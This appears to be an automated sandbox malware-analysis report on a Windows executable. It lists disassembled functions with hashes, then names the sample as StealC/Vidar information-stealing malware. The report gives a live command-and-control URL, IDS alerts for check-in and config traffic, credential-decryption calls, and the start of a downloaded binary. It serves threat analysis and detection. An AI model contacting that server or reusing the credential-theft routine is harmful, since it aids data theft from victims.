Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: bb9d3d2952bc3b762286fef37309e44524bd0cb1e3d1b5aef77f75807f53d7a1
Instruction ID: c66e8b46984fcab5c9f4d473d25ebaf4fab9c97e122992c5924b63db3bcb0f9a
Opcode Fuzzy Hash: bb9d3d2952bc3b762286fef37309e44524bd0cb1e3d1b5aef77f75807f53d7a1
Instruction Fuzzy Hash: 95414F71D10109AFDB08FFE8D885AEEB774FF54704F048419E416A6291EB34AA06DFA2

Function 6CAD6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAD82BC,?,?), ref: 6CAD649B

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD64A9

Part of subcall function 6CACFA80: GetCurrentThreadId.KERNEL32 ref: 6CACFA8D
Part of subcall function 6CACFA80: AcquireSRWLockExclusive.KERNEL32(6CB1F448), ref: 6CACFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD653F
free.MOZGLUE(?), ref: 6CAD655A

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 7d32f9898937c8dc92e5292b7cb8ccb0a7453fc6077702fc94237c44066bfead
Instruction ID: 7e92a827fdbe52c085bfec235d0484a0a0d4589ea00268dcb375d531afff75df
Opcode Fuzzy Hash: 7d32f9898937c8dc92e5292b7cb8ccb0a7453fc6077702fc94237c44066bfead
Instruction Fuzzy Hash: AF316DB5A043059FD704CF24D984A9EBBE4BF89314F00492EE89A97B41DB34F959CB92

Function 6CAAB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAB4F5
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAAB502
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAAB542
free.MOZGLUE(?), ref: 6CAAB578

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24419cd5724c52827000196e4e05f865999ed26264317fbb0ad4a46c6c5cb6f9
Instruction ID: 72c5a00a94248e6b2d0d1bc789e6762a2c1ac30b243a7653634434e9590e1a22
Opcode Fuzzy Hash: 24419cd5724c52827000196e4e05f865999ed26264317fbb0ad4a46c6c5cb6f9
Instruction Fuzzy Hash: DB11A231904B46C7D712CF69D5047A5B3B5FF96318F14571AE84A53E01EBB1B1C6C790

Function 6CAD3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA9F20E,?), ref: 6CAD3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA9F20E,00000000,?), ref: 6CAD3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAD3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAD3E0E

Part of subcall function 6CACCC00: GetCurrentProcess.KERNEL32(?,?,6CA931A7), ref: 6CACCC0D
Part of subcall function 6CACCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA931A7), ref: 6CACCC16

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 28d2ce43c402a03f1b3035c89b3947d5832943f0bd8a531a1a4aeffb3fe028b7
Instruction ID: 31a32870d8e71f183b5f461dabfe0bfb16f112e40515756b0f255350fe67727c
Opcode Fuzzy Hash: 28d2ce43c402a03f1b3035c89b3947d5832943f0bd8a531a1a4aeffb3fe028b7
Instruction Fuzzy Hash: 3FF01CB1A002087FDB00AB54DC86DAB377DEB46628F050020FE0857B41DB35BE6A86F7

Function 008892E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00883AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00883AEE,?), ref: 008892FC
GetFileSizeEx.KERNEL32(000000FF,00883AEE), ref: 00889319
CloseHandle.KERNEL32(000000FF), ref: 00889327

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: a45299a96a28b7b8bf732cf384a5355922666e0d51f23b07197da246b3eb3b1d
Instruction ID: dbd69939f811c7d3081767177a080f34cdc152296c62cd108d0772acb34179ef
Opcode Fuzzy Hash: a45299a96a28b7b8bf732cf384a5355922666e0d51f23b07197da246b3eb3b1d
Instruction Fuzzy Hash: B4F03C75E44208BBDB10EBF0DC49BAE77B9FB58710F108294F651E72D0DA7096418B80

Function 0088C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0088C74E

Part of subcall function 0088BF9F: __amsg_exit.LIBCMT ref: 0088BFAF

__getptd.LIBCMT ref: 0088C765
__amsg_exit.LIBCMT ref: 0088C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0088C797

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 58b34eb31c0082b668f4b4d87ae4c70d3ebe5927d4e6533a01f88e6d21989474
Instruction ID: 34b34d93acb09fb7e93480e85e927c7048b4a62cfb83e1465d25770db34266c2
Opcode Fuzzy Hash: 58b34eb31c0082b668f4b4d87ae4c70d3ebe5927d4e6533a01f88e6d21989474
Instruction Fuzzy Hash: 12F09A329056109BE724BBBC9807B4E33A0FF40724F24414AF614E62D6DF7869409FAB

Function 6CAE85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAE85D3

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAE8725

Strings

map/set<T> too long, xrefs: 6CAE8720

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 0f0233b751451d9c9caa477f3bc474aec49da8d9f87d000af156bbc1e171d419
Instruction ID: 7c855b2feee8c9629f0745e8240361b5da1db16f08a975eee75d711bdec73714
Opcode Fuzzy Hash: 0f0233b751451d9c9caa477f3bc474aec49da8d9f87d000af156bbc1e171d419
Instruction Fuzzy Hash: 715164B4A006818FD701CF19C184B9ABBF1BF4A318F18C29AD8595BB52C335E885CFD2

Function 6CAD3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAD3D6C

Strings

d, xrefs: 6CAD3D58

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 63c3ee1ad9dc2721f5da84efbe2ecd88d7e20a5e4b4e35e69058e7139d9a5a38
Instruction ID: 7d80d0b7ce9706b603e09c43014f195283497b0d72efd8bd2333b12d3bd1c7c1
Opcode Fuzzy Hash: 63c3ee1ad9dc2721f5da84efbe2ecd88d7e20a5e4b4e35e69058e7139d9a5a38
Instruction Fuzzy Hash: BF11C435E046889BDF018F69D8154EDB775EF96318B4A8618ECC597A42FB30B5C8CB50

Function 6CAF6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAF6E22
__Init_thread_footer.LIBCMT ref: 6CAF6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAF6E1D

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: fd009dd9bce5ac1c10194d2f94de2725f1cae16da9eb2d44204724cea7e6e62e
Instruction ID: 909c4ef6effc13be7a2e5c9ac804ee47ddb22b1528d9022422f12fa8f622a162
Opcode Fuzzy Hash: fd009dd9bce5ac1c10194d2f94de2725f1cae16da9eb2d44204724cea7e6e62e
Instruction Fuzzy Hash: E3F02E7E7092C0DFDB008B68D956A9577729713228F0C0165D42947F51D731BB97CA93

Function 6CAEB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB628

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CAEB127,?,?,?,?,?,?,?,?), ref: 6CAEB74D

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 844cbd04050cf88294b34178ac849cb1a3240d96a2ef2d43f0eb72b10053ce77
Instruction ID: 1b04521fe0cf27ef38e9efbd4da4be988422704b80d5386144ca67c2c28a415a
Opcode Fuzzy Hash: 844cbd04050cf88294b34178ac849cb1a3240d96a2ef2d43f0eb72b10053ce77
Instruction Fuzzy Hash: 4751E271A023168FDB14CF19E98869EB7B5FF48304F45862DC85AA7B00D730E884DBD5

Function 6CAFB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAA0A4D), ref: 6CAFB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAA0A4D), ref: 6CAFB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAA0A4D), ref: 6CAFB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAA0A4D), ref: 6CAFB67F

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 6ed7f924fadf550691226b57614ee36479651dac425924f48fa04555f8fb5417
Instruction ID: f005b3c8dc393fdac05f845ff6f6e30583602d75401a018a608870b2e34ff7eb
Opcode Fuzzy Hash: 6ed7f924fadf550691226b57614ee36479651dac425924f48fa04555f8fb5417
Instruction Fuzzy Hash: 3C312971A002158FDB10CF59D84469EBBF6FF80304F1A8629D81ADB701DB31E956CBE0

Function 6CACF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CACF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CACF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CACF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CACF668

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 0fdd9272da30b6b5e94dd7cbd90adcd433401c7535db7ab9ee1465cf5488e44e
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 3B312B71B00218AFC714CF5DCCC0A9F7BB5EB88354B18853DEA498BB04D631E9848B91

Source: 0.2.file.exe.870000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}
Source: 0.2.file.exe.870000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00879B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00879B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0087C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00879AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00879AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00877240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00877240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00888EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00888EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CAA6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49709 -> 185.215.113.206:80

Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 22:31:05 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 